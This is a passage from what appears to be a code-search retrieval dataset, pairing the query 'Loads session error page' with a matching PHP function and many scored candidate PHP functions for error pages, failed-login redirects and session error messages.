"0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" }, { "docid": "a126034ef6b9c4d0910585ff7b45c5c9", "score": "0.67491317", "text": "public function show(User $user)\n {\n //\n }", "title": "" } ]
ed8ed3083b3851c8f83e19b675e98951
Loads session error page
[ { "docid": "d6a8d9aa41706cf8ccd40f6d7d4bd956", "score": "0.80711496", "text": "public function session_error()\n\t{\n\t\t// Page data\n\t\t$page['title'] = \"Session expired\";\n\t\t$page['description'] = \"\";\n\n\t\t// Load view\n\t\t$this->load->view('errors/custom/error_session', $page);\t\n\t}", "title": "" } ]
[ { "docid": "2cd0439aff827b05848676df42b9f1e3", "score": "0.68506193", "text": "public function sessionNotValid()\n {\n return displaySPA();\n }", "title": "" }, { "docid": "f22e6fe7aac8e8e81aae33dcc30f7f49", "score": "0.68196064", "text": "public function viewErrorPage()\n {\n require('App/view/errorPage.php');\n }", "title": "" }, { "docid": "a5f7475a183a1bc1c9a819f1aaeab46f", "score": "0.6794334", "text": "function errorPage($msg) {\n\tglobal $BF;\n\tif(isset($msg)) {$_SESSION['chrErrorMsg'] = $msg;}\n\theader(\"Location: \".$BF.\"error.php\");\n\tdie;\n}", "title": "" }, { "docid": "fb220d6e99454574a6915126792c15f9", "score": "0.67735404", "text": "public function failAction()\n {\n if ($this->_session) {\n $this->view->fail = $this->_message;\n $this->getResponse()->setHeader('refresh', '1,url=' . Zend_Registry::get('BaseUrl') . $this->_redirection);\n } else {\n $this->view->fail = 'Echec !';\n $this->getResponse()->setHeader('refresh', '1,url=' . Zend_Registry::get('BaseUrl') . '/');\n }\n }", "title": "" }, { "docid": "e925bee7529aeeb4b8198be884cda6b7", "score": "0.66969347", "text": "public function error() {\n \trequire_once 'views/pages/error.php';\n \t\t ErrorView::displayError();\n }", "title": "" }, { "docid": "aa774aa62c70ac1604d35a6d29437394", "score": "0.66578954", "text": "public function failureAction () \n {\n $session = Mage::getSingleton('checkout/session');\n $this->loadLayout();\n $this->_initLayoutMessages('mbilldesk/session'); \n $this->renderLayout();\n }", "title": "" }, { "docid": "406844e4e468ae652fc795eea72527d8", "score": "0.6646827", "text": "function handleError() {\r\n session_unset();\r\n header('Location: error.php');\r\n}", "title": "" }, { "docid": "dc8e349706e438c6eda7dd6a1eb570ad", "score": "0.6555307", "text": "public function ltiSessionNotValid()\n {\n return displaySPA();\n }", "title": "" }, { "docid": "d32de83e8cede3ea69272d8b5210e5ef", "score": "0.65051687", "text": "protected function defaultErrorPage(){}", "title": "" }, { "docid": "f710f7eb68c0fd4db25ffc88203a7d7a", "score": "0.6492982", "text": "private function _error(){\n\t\trequire_once('app/controller/error.php');\n\t\t$this->_error_controller = new Error_page();\n\t\t$this->_error_controller->index();\n\t\texit;\n\t}", "title": "" }, { "docid": "0d9e53a5cd6ea5cb063c7eec9e0c2c33", "score": "0.64665943", "text": "function errorAction() {\n\t\t$this->setView('base.loginForm');\n\t\t$this->set('go', $go);\t\t\n\t\t//$this->set('error_code', 2002);\n\t\t$this->set('user_id', $this->getParam('user_id'));\n\t}", "title": "" }, { "docid": "ba84f58da4d59a56e4cbff79b4950cba", "score": "0.64194375", "text": "public function actionError()\n\t{\n\t\tif($error=Yii::app()->errorHandler->error)\n\t\t{\n\t\t\tif(Yii::app()->request->isAjaxRequest)\n\t\t\t\techo $error['message'];\n\t\t\t\n\t\t\telse if ($error['code'] == 401)\n\t\t\t\t$this->redirect('login');\n\t\t\t\t\t\n\t\t\telse\n\t\t\t\t$this->render('error', $error);\n\t\t}\n\t}", "title": "" }, { "docid": "fa1368a3530f8f3c0d506eb7d9468207", "score": "0.6411849", "text": "function getErrorLogin ()\r\n{\r\n\t/* Aktifkan Session Start */\r\n\tsession_start();\r\n\tif (!isset($_SESSION['sesi']))\r\n\t{\r\n\t\techo \"<script> alert('Anda Harus Login Dahulu!'); </script>\";\r\n\t\theader('location:login.php');\r\n\t}\r\n}", "title": "" }, { "docid": "caac7f5cf0f52c4f70dbdacd2a609358", "score": "0.63961023", "text": "function set_error($error = '404') {\n\tswitch ($error) {\n\t\tcase '401': header('HTTP/1.1 401 Unauthorized'); $msg = t('unauthorized'); \t$txt = t('error_401'); break;\n\t\tcase '404': header('HTTP/1.1 404 Not Found'); \t $msg = t('not_found'); \t$txt = t('error_404'); break;\n\t\tdefault: $msg = 'Error'; $txt = 'Error not specified';\n\t}\n\techo '<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\"\n\t\t\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n\t<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"en\" xml:lang=\"en\">\n\t\t<head>\n\t\t\t<title>Error: '.$msg.'</title>\n\t\t\t<meta http-equiv=\"refresh\" content=\"0; url='.pre_seao('error', $error, false, true).'\" />\n\t\t</head>\n\t\t<body>\n\t\t\t<p>'.$txt.'</p>\n\t\t</body>\n\t</html>';\n\texit;\n}", "title": "" }, { "docid": "b5d50f94211138ccada336a44b3d3156", "score": "0.6333713", "text": "function AccessError() {\n\tif(file_exists(\"{$_SERVER['DOCUMENT_ROOT']}/login.conf.inc\")){\n\t\t\n\t\t/* File personalizzato per il singolo servizio\n\t\t * SETTARE LA VARIABILE $language al suo interno e i corrispondenti valori nella lingua scelta!!!\n\t\t */\n\t\tinclude(\"{$_SERVER['DOCUMENT_ROOT']}/login.conf.inc\");\n\t}else{\n\t\t\n\t\t/* Carico la configurazione standard */\n\t\tinclude(\"/http/lib/DriverIanus/LOGIN/login.conf.inc\");\n\t\t//$login_template = file_get_contents(\"/http/lib/DriverIanus/LOGIN/template/login.html\");\n\t\t//$language = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);\n\t}\n\t\n\t$lang=strtoupper($language);\n\tif (file_exists(\"/http/lib/DriverIanus/template/accessError_{$lang}.html\"))\n\t\t$body=file_get_contents(\"/http/lib/DriverIanus/template/accessError_{$lang}.html\");\n\telse $body=file_get_contents(\"/http/lib/DriverIanus/template/accessError_EN.html\");\n\tif (file_exists($_SERVER['DOCUMENT_ROOT'].\"/template.htm\")) $html=file_get_contents($_SERVER['DOCUMENT_ROOT'].\"/template.htm\");\n\telse $html=\"\n\t<html>\n\t<head>\n\t\t<title><!--url--> (Errore di accesso)</title>\n\t</head>\n\t<body>\n\t\t<!--body-->\n\t</body>\n\t</html>\n\t\";\n\t$logoutLink=\"https://{$_SERVER['HTTP_HOST']}/ShibLogOut\";\n\t$html=preg_replace(\"!https:\\/\\/(.*?)\\/!\", \"http://{$_SERVER['HTTP_HOST']}/\", $html);\n\t$html=str_replace(\"<!--body-->\", $body, $html);\n\t$html=str_replace(\"<!--logoutLink-->\", $logoutLink, $html);\n\t$html=str_replace(\"<!--url-->\", $_SERVER['HTTP_HOST'], $html);\n\tdie ( $html );\n}", "title": "" }, { "docid": "42f434e525a7d8af09fd2af10e9d23c5", "score": "0.6331977", "text": "function login_fail_redirect($error=\"unknown\") {\n\t\t//redirect to about.php with optional error msg\n\t\tsession_write_close();\n\t\t$host=HOST;\n\t\t$extra = \"index.php?error={$error}\";\n\t\theader(\"Location: http://$host/$extra\");\n\t}", "title": "" }, { "docid": "ecc41dc5fae472262c1a56ea7ab2490e", "score": "0.63316005", "text": "public function code_error()\n {\n if (true === array_key_exists('error', $this->request->get)) {\n $this->session->data['error'] = $this->request->get['error'];\n\n $this->redirect(HTTP_SERVER . '?wall');\n }\n }", "title": "" }, { "docid": "b7d0d58f17ef4bceb932e0160dbbc72d", "score": "0.63231367", "text": "public function getErrorPage() {\n $this->template = ROOT.Registry::get(\"ERROR_VIEW\");\n return $this->execute();\n }", "title": "" }, { "docid": "eb4b82a2a46fcff22bc0f7c4026f6eed", "score": "0.6318025", "text": "protected function error_page($msg) {\r\n global $PAGE, $OUTPUT, $SITE;\r\n\r\n $auth = $this->getsspauth();\r\n\r\n $urltogo = $this->config->logout_url_redir;\r\n if (empty($urltogo)) {\r\n $urltogo = (new moodle_url('/'))->out();\r\n }\r\n $logouturl = $auth->getLogoutURL($urltogo);\r\n\r\n $PAGE->set_course($SITE);\r\n $PAGE->set_url('/');\r\n $PAGE->set_title(get_string('error') . ' - ' . $msg);\r\n $PAGE->set_heading($PAGE->course->fullname);\r\n echo $OUTPUT->header();\r\n echo $OUTPUT->box($msg, 'errorbox alert alert-danger', null, array('data-rel' => 'fatalerror'));\r\n echo $OUTPUT->box(get_string('error_you_are_still_connected', self::COMPONENT_NAME)\r\n . ' <a href=\"' . $logouturl . '\">'\r\n . get_string('label_logout', self::COMPONENT_NAME) . '</a>', 'errorbox alert');\r\n echo $OUTPUT->footer();\r\n exit;\r\n }", "title": "" }, { "docid": "25428614f6f73e4c6aa9ca15e0ad98fc", "score": "0.6288107", "text": "function private_page(){\r\n\t\t$this->user->on_invalid_session('login');\r\n\t\t\r\n\t\t// ... else he will view home\r\n\t\t$this->load->view('home');\r\n\t}", "title": "" }, { "docid": "37ad90f73c3a60b4ce970887f0523e59", "score": "0.62870914", "text": "function error()\r\n\t{\r\n\t\tif (isset($_SESSION['error']) && $_SESSION['error'] > 0)\r\n\t\t{\r\n\t\t\treturn true;\r\n\t\t}\r\n\t\telse \r\n\t\t{\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "a6d9d820248ad72ee1654ad024f03997", "score": "0.62738043", "text": "function displayLoginError() //This function displays an error message if the users enters incorrect email or password information.\r\n\t{\r\n\t\tif(isset($_SESSION['login_error'])) //checks if the login_error session variable has been set by the checklogin.php page.\r\n\t\t{\r\n\t\t\techo \"<font color='red'>\".$_SESSION['login_error'].\"</font>\";\r\n\t\t\t$_SESSION['login_error']=\"\";\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "297ef96c5ec25e3f82d3f3b9fa9e3fce", "score": "0.62721586", "text": "function login_fail()\r\n\t{\r\n\t\t\t$data['page_title'] = $this->lang->line('login_login');\r\n\t\t\t$this->load->view('login/login_fail',$data);\r\n\t}", "title": "" }, { "docid": "d158e04dd92facc261609ca64d6d0f45", "score": "0.6267879", "text": "public function actionError()\n\t{\n\t\tif($error=Yii::app()->errorHandler->error)\n\t\t{\n\t\t\tif(Yii::app()->request->isAjaxRequest)\n\t\t\t\techo $error['message'];\n\t\t\telse{\n\t\t\t\tswitch($error['code']){\n\t\t\t\t\tcase 404:$error['message']='很抱歉,你来晚了一步,这页已经任性的消失了...你要坚强些,继续浏览别的页面吧~';break;\n\t\t\t\t\tcase 403:$error['message']='很抱歉,你还没有跟管理员申请权限...你要勇敢些,去找管理员要权限吧~';break;\n\t\t\t\t}\n\t\t\t\t$this->render('error', $error);\n\t\t\t}\n\n\t\t}\n\t}", "title": "" }, { "docid": "c04357d0518648db184b5b5612af9c45", "score": "0.6243294", "text": "function write_error_message() {\n\t\tif(array_key_exists('error_message', $_SESSION)) {\n\t\t\tif($_SESSION['error_message'] != null) {\n\t\t\t\t$error_message = $_SESSION['error_message'];\n\t\t\t\techo(\"<label class=\\\"error_message\\\">$error_message</label>\");\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "4e483bcde2680fa3aaa6b4609a684be7", "score": "0.6234012", "text": "public static function error(){\n\t\t\t//testa se existe erro\n\t\t\tif(!isset($_GET['error'])){\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\t$alert_class = \"danger\";\n\t\t\t$alert_icon = \"warning-sign\";\n\t\t\t$alert_text = dictionary($_GET['error']);\n\n\t\t\tinclude base_server().'/view/alert.php';\n\t\t}", "title": "" }, { "docid": "f8d2fe90e3ca96b5abdd45c5355cbd1f", "score": "0.6233573", "text": "public function actionError() {\n if ($error = Yii::app()->errorHandler->error) {\n $this->render('error' . $error['code'], array('error' => $error));\n } else {\n throw new CHttpException(404, 'Page not found.');\n }\n }", "title": "" }, { "docid": "7f3e00e7d63f02b2a914ab223e6222b4", "score": "0.6230342", "text": "public function error($message) {\n\t\trequire_once('views/pages/error_view.php');\n }", "title": "" }, { "docid": "8a7c0192953b53d55e31abfd81725275", "score": "0.62301475", "text": "function auth_error()\n{\n\tglobal $domains, $pref;\n\n\tif ($this->isset_chk($_REQUEST['XUL']) || $this->XUL)\n\t{\n\t\t$path = \"html/$this->Language/auth_xulerror.html\";\n\t\t$var['URL'] = \"html/$this->Language/auth_timeout.html\";\n\t\t$this->httpheaders();\n\t\tprint $this->parse($path, $var);\n \texit;\n\t}\n\n if ($pref['opensource']) {\n \theader('Location:index.php?error=auth');\n \texit;\n }\n\tif (file_exists(\"{$pref['install_dir']}/html/vhosts/{$_SERVER['HTTP_HOST']}.html\"))\n\t\t$path = \"html/vhosts/{$_SERVER['HTTP_HOST']}.html\";\n\telse\n\t\t$path = \"html/$this->Language/login.html\";\n\n\tif (empty($this->pop3host)) {\n\t\tif ($pref['install_type'] == 'server') {\n\t\t\t$external = 0;\n\t\t} else {\n\t\t\t$external = 1;\n\t\t}\n\t} elseif (!$domains[$this->pop3host])\n\t\t$external = 1;\n\telse\n\t\t$external = 0;\n\n\tif ( strpos($_SERVER['SCRIPT_NAME'], 'wap.php') !== false )\n \t$path = \"html/$this->Language/wml/login.wml\";\n\n elseif( strpos($_SERVER['SCRIPT_NAME'] , 'xhtml.php') !== false)\n\t\t$path = \"html/$this->Language/xhtml/login.xhtml\";\n\n\t$this->httpheaders();\n\n if (!is_object($this->log)) $this->log = new Log;\n\n //if ($this->LoginType != 'xul' && !$this->Ajax) {\n print $this->parse( $path, array('languagebox' => $this->languages(),\n \t\t\t\t\t\t\t\t 'ErrorBody' => $this->parse(\"html/$this->Language/msg/login_mailautherror.html\"),\n \t\t\t\t\t\t\t\t 'browser' => $this->browser,\n \t\t\t\t\t\t\t\t 'domainbox' => $this->domainbox(),\n \t\t\t\t\t\t\t\t 'mailtype' => $this->print_mailtypes(),\n \t \t\t\t\t\t\t\t\t 'external' => $external,\n\t\t\t\t\t\t\t\t\t\t 'Ajax' => $_REQUEST['ajax']) );\n //}\n\n $this->log->write_log( 'Error', 'Wrong Password' );\n exit;\n}", "title": "" }, { "docid": "a7a50963d71c7cac9fc99203ab0a1ee7", "score": "0.62142515", "text": "private function _error($error) {\n// echo 'Error being called'; die;\n require $this->_controllerPath . $this->_errorFile;//controllers/pagenotfound.php\n// echo 'Error being called';\n $this->_controller = new PageNotFound();\n $this->_controller->index($error);\n exit;\n }", "title": "" }, { "docid": "cb7cfe5e7983da5f37e52b7092d10665", "score": "0.6210308", "text": "public function actionError() {\r\n $view = $this->viewError;\r\n if ($error=Yii::app()->errorHandler->error) {\r\n if ($error['code'] == 404) { // Устанавливаем свой макет для отображения 404 ошибки\r\n $this->layout = '404';\r\n $view = $this->view404;\r\n } else if ($error['code'] == 403) { // доступ запрещен\r\n $view = $this->view403;\r\n if (empty($error['message'])) $error['message'] = 'Доступ к странице запрещен.';\r\n }\r\n \r\n if(Yii::app()->request->isAjaxRequest) {\r\n echo $error['message'];\r\n return;\r\n }\r\n } else {\r\n $this->layout = '404';\r\n $view = $this->view404;\r\n }\r\n $this->render($view, $error);\r\n }", "title": "" }, { "docid": "e9778d2248233c49d8c4676b26b6508f", "score": "0.61986095", "text": "public function index()\n {\n header('HTTP/1.0 404 Not Found');\n $this->View->render('error/index');\n }", "title": "" }, { "docid": "42879a5619fe252c06941ce308ece220", "score": "0.6189608", "text": "public function actionError()\n\t{\n\t\tif($error=Yii::app()->errorHandler->error)\n\t\t{\n\t\t\tif(Yii::app()->request->isAjaxRequest)\n\t\t\t\techo $error['message'];\n\t\t\telse\n\t\t\t\t$this->render('pages-404-error', $error);\n\t\t}\n\t}", "title": "" }, { "docid": "255c3039b29f68a10b29287446574c26", "score": "0.61866766", "text": "function redirect_print_error($err) {\n $_SESSION['registrationError'] = true;\n $_SESSION['registrationErrorText'] = $err;\n header('Location: register.php');\n}", "title": "" }, { "docid": "a4f704b4d711cd589c97e1a6a31ff850", "score": "0.6158229", "text": "function errorFlag($msg) {\r\n $_SESSION['LOGIN_FAIL'] = $msg;\r\n session_write_close();\r\n\theader(\"location: index.php\");\r\n}", "title": "" }, { "docid": "bdd79b798fc4ce1ddb25fc953d4269c6", "score": "0.6156635", "text": "public function index()\t{\n\t\t$this->loadTemplate(\"error\");\n\t}", "title": "" }, { "docid": "98fd7ee7fc1d6714060209539c22233e", "score": "0.6149569", "text": "function securedPage() {\n\t\tif(!isset($_SESSION['sess_id'])) {\n\t\t\theader(\"Location: ?page=error/unauthorized\");\n\t\t\texit;\n\t\t}\n\t}", "title": "" }, { "docid": "fbec434b7fcee74c0e22ab8ea502c28c", "score": "0.6126545", "text": "public function notFound()\n {\n $this->template->assign('template', 'errors/html/error_404');\n $this->template->display('frame_admin.tpl');\n exit();\n //redirect('notfound');\n }", "title": "" }, { "docid": "b344563a6e50ee2ce2878d5859003ca1", "score": "0.61259604", "text": "public function error()\r\n\t{\r\n\t\t// if($this->userid > 0) {\r\n\t\t\t$data['title'] = \"Error in Payment\";\r\n\r\n\t\t\t$this->load_view('error',$data);\r\n\t\t// }\r\n\t\t// else {\r\n\t\t// \tredirect(l(''),true);\r\n\t\t// }\r\n\r\n\t}", "title": "" }, { "docid": "17768417a3a85f5cfcc8f3d931fc7b3e", "score": "0.609264", "text": "public function actionError()\n\t{\n $this->layout = 'section';\n $this->titulo = '404 - Página no encontrada';\n\n\t\tif($error=Yii::app()->errorHandler->error)\n\t\t{\n\t\t\tif(Yii::app()->request->isAjaxRequest)\n\t\t\t\techo $error['message'];\n\t\t\telse\n\t\t\t\t$this->render('error', $error);\n\t\t}\n\t}", "title": "" }, { "docid": "02696d70472289f20af1451c3e22cb8e", "score": "0.609084", "text": "public function displayError()\n {\n if (getenv('APPLICATION_ENV') === 'dev') {\n return $this->_renderDebugPage();\n }\n\n return $this->_renderNotFoundPage();\n }", "title": "" }, { "docid": "9cda2141d1c1fc4527e9fb7ed8af4be7", "score": "0.6087716", "text": "public function actionError() {\n\t if (!APP_ENV_PRODUCTION && $error = Yii::app()->errorHandler->error) {\n\t $this->viewData->error = $error;\n $this->renderAjax();\n\t }\n\t}", "title": "" }, { "docid": "21d0ae86e035d08e403e67dc8863a6cd", "score": "0.60704225", "text": "function invalidCreds() {\n\t\t$_SESSION['error']=true;\n\t\theader(\"location: index.php\");\n\t}", "title": "" }, { "docid": "470299240d450f216f9c2cf192f9592a", "score": "0.60606754", "text": "function error_HabitAlleredeRegistrert() {\n $_SESSION['melding'] = 'Feil under registrering av habiten. Habiten er allerede registrert din bruker.';\n header(\"location: error_habit.php\");\n}", "title": "" }, { "docid": "5c07992c6493647153d9ee75e567e801", "score": "0.6051282", "text": "private function _error() {\n require $this->_controllerPath . $this->_errorController . '.php';\n $this->_controller = new Error();\n $this->_controller->index();\n exit;\n }", "title": "" }, { "docid": "595ac477ecda8de9bb8ef25b684a66b7", "score": "0.6050785", "text": "public function actionError()\n {\n if ($error = app()->errorHandler->error)\n {\n if (app()->request->isAjaxRequest)\n echo $error['message'];\n else\n $this->render('error', $error);\n }\n }", "title": "" }, { "docid": "c60ad73d3f8f252ecaf89dd8a00390c1", "score": "0.60413295", "text": "public static function websiteError($string=null) {\n\t\t\t$_SESSION['error_msg'] = $string;\n\t\t\t$Smarty = Registry::getKey('Smarty');\n\t\t\t$Smarty->assign('error_msg',$string);\n\t\t}", "title": "" }, { "docid": "27752059b61f013ecb5ea1e6a88189fd", "score": "0.60176986", "text": "function Wrapper_errorpage( $code, $string, $message )\n{\n if ( ($code == '403') && (pnUserGetVar('uid') <= 1)) {\n return pnRedirect(pnModUrl('users', 'user', 'loginscreen'));\n }\n\n\n header(\"HTTP 1.0 $code $string\");\n $render = pnRender::getInstance('Wrapper');\n $render->assign('code', $code);\n $render->assign('string', $string);\n $render->assign('message', $message);\n return $render->fetch('wrapper_file_error.html');\n}", "title": "" }, { "docid": "1eacfb58688df10cb24e22d4c107adc1", "score": "0.60170573", "text": "public function print_error()\n\t{\n\n\t\t//check if there was no failure in the template, render it, print out failure.\n\t\t//If we have errors in the template, then render the error-view without a template\n\t\tif(strpos($this->m_code,'TEMPLATE') !== false) {\n\t\t\tView::create('error')\n\t\t\t\t->bind_by_name('s_error_message',$this->message)\n\t\t\t\t->bind_by_name('s_error_code' ,$this->m_code)\n\t\t\t\t->render(false);\n\t\t}\n\t\telse {\n\t\t\tView::create('error')\n\t\t\t\t->bind_by_name('s_error_message',$this->message)\n\t\t\t\t->bind_by_name('s_error_code' ,$this->m_code)\n\t\t\t\t->bind_by_name('s_error_file' ,$this->file)\n\t\t\t\t->bind_by_name('s_error_line' ,$this->line)\n\t\t\t\t->render();\n\t\t}\n\n\t\texit(1);\n\t}", "title": "" }, { "docid": "f9ea36707557301a899b3d7b9b94e2b8", "score": "0.60082006", "text": "public function error404(){\n $this->loadErrorView('Cette page n\\'existe pas', 'Error 404', 404); \n }", "title": "" }, { "docid": "120a547686fd3a19d3da1618d3c5928e", "score": "0.6007207", "text": "public function actionError() {\n if ($error = Yii::app()->errorHandler->error) {\n //Log error\n $transDetails = ' from user ' . Yii::app()->user->getId() . ' (Site:' . Yii::app()->user->getSiteID() . ') using URL ' . Yii::app()->request->requestUri;\n AuditLog::logTransactions(30, $transDetails);\n\n if (Yii::app()->request->isAjaxRequest)\n echo $error['message'];\n else\n $this->render('error', $error);\n }\n }", "title": "" }, { "docid": "607c692181dc73d3f588f7bc17ff9466", "score": "0.60067177", "text": "function died($error) {\n\t$_SESSION['uploadImageError']=$error;\n\techo $error;\n\theader('Location: '.redirect('viewtwitch.php'));\n\tdie();\n}", "title": "" }, { "docid": "67d705fe79cfc1960a6d1acd22b03b5e", "score": "0.6006631", "text": "public function actionError()\n\t{\n\t\tif($error=Yii::app()->errorHandler->error)\n\t\t{\n\t\t\tif(Yii::app()->request->isAjaxRequest)\n\t\t\t\techo $error['message'];\n\t\t\telse\n\t\t\t\t$this->render('dashboard/error', $error);\n\t\t}\n\t}", "title": "" }, { "docid": "a419d80e66dfa3bd03ce43b792803809", "score": "0.599788", "text": "public function actionError()\n {\n $this->pageTitle = \"Error\";\n if ($error = Yii::app()->errorHandler->error) {\n if (Yii::app()->request->isAjaxRequest)\n echo $error['message'];\n else\n $this->render('error', $error);\n }\n }", "title": "" }, { "docid": "249f33088ced7dfe764b855965b4ae2b", "score": "0.5990561", "text": "public function actionSigninError() {\n\n $error = TWXParam::get('error', 'Something went wrong…');\n\n $this->output(\n 'signin_error',\n ['title' => 'An Error Occurred', 'error' => $error]\n );\n\n }", "title": "" }, { "docid": "59ece863131a2db252a03a96a3ec5093", "score": "0.598924", "text": "public function errorAction()\n {\n $errors = $this->_getParam('error_handler');\n \n if (!$errors) {\n $this->view->message = 'You have reached the error page';\n return;\n }\n \n $e = $errors->exception;\n if(strpos($e->getMessage(), 'favicon.ico') == null) {\n \t$request = '<br/>URI: ' . $_SERVER[\"REQUEST_URI\"] . '<br/>GET: ' . var_export($_GET, true) . '<br/>POST: ' . var_export($_POST, true);\n \t$this->errorHandler->registerError($e->getMessage(), $e, null, $request);\t\n }\n\t\tswitch ($errors->type) {\n case Zend_Controller_Plugin_ErrorHandler::EXCEPTION_NO_ROUTE:\n case Zend_Controller_Plugin_ErrorHandler::EXCEPTION_NO_CONTROLLER:\n case Zend_Controller_Plugin_ErrorHandler::EXCEPTION_NO_ACTION:\n \n\t\t\t\t// 404 error -- controller or action not found\n $this->_forward('error-not-found');\n break;\n default:\n // application error\n $this->getResponse()->setHttpResponseCode(500);\n $this->view->message = 'Application error';\n\t\t\t\t$this->view->exception = $errors->exception;\n break;\n }\n \n // Log exception, if logger available\n if ($log = $this->getLog()) {\n $log->crit($this->view->message, $errors->exception);\n }\n \n // conditionally display exceptions\n if ($this->getInvokeArg('displayExceptions') == true) {\n $this->view->exception = $errors->exception;\n }\n \n $this->view->request = $errors->request;\n }", "title": "" }, { "docid": "4f3d7a5bd77dac4ca6091ac470576029", "score": "0.59834564", "text": "public function actionError()\n\t{\n\t\tif($error=Yii::app()->errorHandler->error)\n\t\t{\n\t\t\tif(Yii::app()->request->isAjaxRequest)\n\t\t\t\techo $error['message'];\n\t\t\telse\n\t\t\t\t$this->render('//site/error', $error);\n\t\t}\n\t}", "title": "" }, { "docid": "5bc3487cb313b8f71924050efb5c11c9", "score": "0.59676045", "text": "public function actionError()\n {\n $this->layout = '//layouts/classic/main_no_header';\n\n if ($error = Yii::app()->errorHandler->error) {\n if (Yii::app()->request->isAjaxRequest)\n echo $error['message'];\n else\n $this->render('error', $error);\n }\n }", "title": "" }, { "docid": "c6c4135dabe8587c4e23e65aa51e27d2", "score": "0.596012", "text": "function invalidlogin()\r\n\t\t{\r\n\t\t\t$lang = new language;\r\n\t\t\t$this->pagelayout .= '<br /><br /><br />\r\n<center>\r\n<table style=\"width: 200px\" cellspacing=\"0\" cellpadding=\"0\" border=\"0\">\r\n<tr>\r\n<td style=\"width: 100%; font-size: 16px; text-align: center\">\r\n<b>'.$lang->word_access_denied.'</b>\r\n</td>\r\n</tr>\r\n</table>\r\n</center>\r\n';\r\n\t\t\tunset($lang);\r\n\t\t}", "title": "" }, { "docid": "f54985ed00169c1e854d54451a510026", "score": "0.5955053", "text": "function displayError()\n{\n\tif (isset($_SESSION['plaincart_error']) && count($_SESSION['plaincart_error'])) {\n\t\t$numError = count($_SESSION['plaincart_error']);\n\t\t\n\t\techo '<table id=\"errorMessage\" width=\"550\" align=\"center\" cellpadding=\"20\" cellspacing=\"0\"><tr><td>';\n\t\tfor ($i = 0; $i < $numError; $i++) {\n\t\t\techo '&#8226; ' . $_SESSION['plaincart_error'][$i] . \"<br>\\r\\n\";\n\t\t}\n\t\techo '</td></tr></table>';\n\t\t\n\t\t// remove all error messages from session\n\t\t$_SESSION['plaincart_error'] = array();\n\t}\n}", "title": "" }, { "docid": "72a7b30cb9f3dab975c3217bdfd29a0a", "score": "0.59505785", "text": "public function actionError()\n {\n if ($error = Yii::app()->errorHandler->error) {\n if (Yii::app()->request->isAjaxRequest)\n echo $error['message'];\n else\n $this->render('site/error', $error);\n }\n }", "title": "" }, { "docid": "5cc35c8bb7015d1d042ac9f7c6a783d6", "score": "0.5948358", "text": "public function actionError()\n {\n if ($error = Yii::app()->errorHandler->error) {\n if (Yii::app()->request->isAjaxRequest) {\n echo $error['message'];\n } elseif ($error['code'] == 404) {\n $this->render('404', $error);\n } else {\n $this->render('error', $error);\n }\n }\n }", "title": "" }, { "docid": "6ec03d41286c837929bfec7ca5e096bd", "score": "0.59423685", "text": "public function error404()\n\t{\n\t\t$data['title'] = 'Page Not Found - Cicak-Wworld.co';\n\t\t$data['page'] = 'site/error404';\n\n\t\t$this->load->view('core/layout/base_app', $data);\n\t}", "title": "" }, { "docid": "be71761067ececd8c166ff4557bdadbd", "score": "0.5939757", "text": "public function notFound()\n {\n if ( !Session::exists('username') )\n header('location: ?p=admin&a=login');\n\n $this->util->getView('index');\n }", "title": "" }, { "docid": "6987cbdce6ba639cdef1e075539b5c65", "score": "0.59389967", "text": "#[@test, @expect('scriptlet.HttpSessionInvalidException')]\n public function sessionInitializationError() {\n $req= $this->newRequest('GET', new \\peer\\URL('http://localhost/?psessionid=MALFORMED'));\n $res= new \\scriptlet\\HttpScriptletResponse();\n\n $s= newinstance('scriptlet.HttpScriptlet', array(), '{\n public function needsSession($request) { return TRUE; }\n public function handleSessionInitialization($request) {\n if (!preg_match(\"/^a-f0-9$/\", $request->getSessionId())) { \n throw new IllegalArgumentException(\"Invalid characters in session id\");\n }\n parent::handleSessionInitialization($request);\n } \n }');\n $s->service($req, $res);\n }", "title": "" }, { "docid": "0e779104d10cb2e42f04099044c486a6", "score": "0.5938783", "text": "public function err404() {\n // We send 404 header\n header('HTTP/1.0 404 Not Found');\n $this->show('error/err404');\n }", "title": "" }, { "docid": "566f9dcface63a69729c12edb35ef75e", "score": "0.5932866", "text": "public function ErrorAction () {\n\t\t$code = $this->response->GetCode();\n\t\t$message = $this->request->GetParam('message', '\\\\a-zA-Z0-9_;, /\\-\\@\\:');\n\t\t$message = preg_replace('#`([^`]*)`#', '<code>$1</code>', $message);\n\t\t$message = str_replace(\"\\n\", '<br />', $message);\n\t\t$this->view->Title = \"Error $code\";\n\t\t$this->view->Message = $message;\n\t\t$this->Render('error');\n\t}", "title": "" }, { "docid": "edd1424cd06f8a0cc81330983c44cc3e", "score": "0.59290135", "text": "protected function errorResponse()\n\t{\n\t\tabort(404, 'Not found');\n\t}", "title": "" }, { "docid": "db6a97491b49b7e3995267485b6ba7dd", "score": "0.5928349", "text": "public function getSessionValidate()\n{\n\t$this->__session_details = $this->session->all_userdata();\n\tif(!isset($this->__session_details['admin_login']))\n\t{\n\t\tredirect('Admin','refresh');\n\t}\n}", "title": "" }, { "docid": "eaca52ab51e88378481d326f3a86e280", "score": "0.59142476", "text": "public function loadFailurePage(){\n\t\t$this->load->view('header_admin_area');\n\t\t$this->load->view('create_entity_failure');\n\t\t$this->load->view('footer_admin_area');\n\t}", "title": "" }, { "docid": "0bfd5e2236d908b707db511c372eaec4", "score": "0.5914023", "text": "function redirectError($error){\n\n\t// Start a new session.\n\t//session_start();\n\n\t// Create a new variable 'error' which contains the error string\n\t// to be displayed on the error page.\n//\t$_SESSION['error'] = $error;\n\n\t/**\n\t * Redirect user to error page within the current session.\n\t *\n\t * Note that because we started a new session that all variables\n\t * associated with the session will be passed to other pages that \n\t * enable the session passed to it.\n\t *\n\t * For more information on sessions, look here:\n\t * 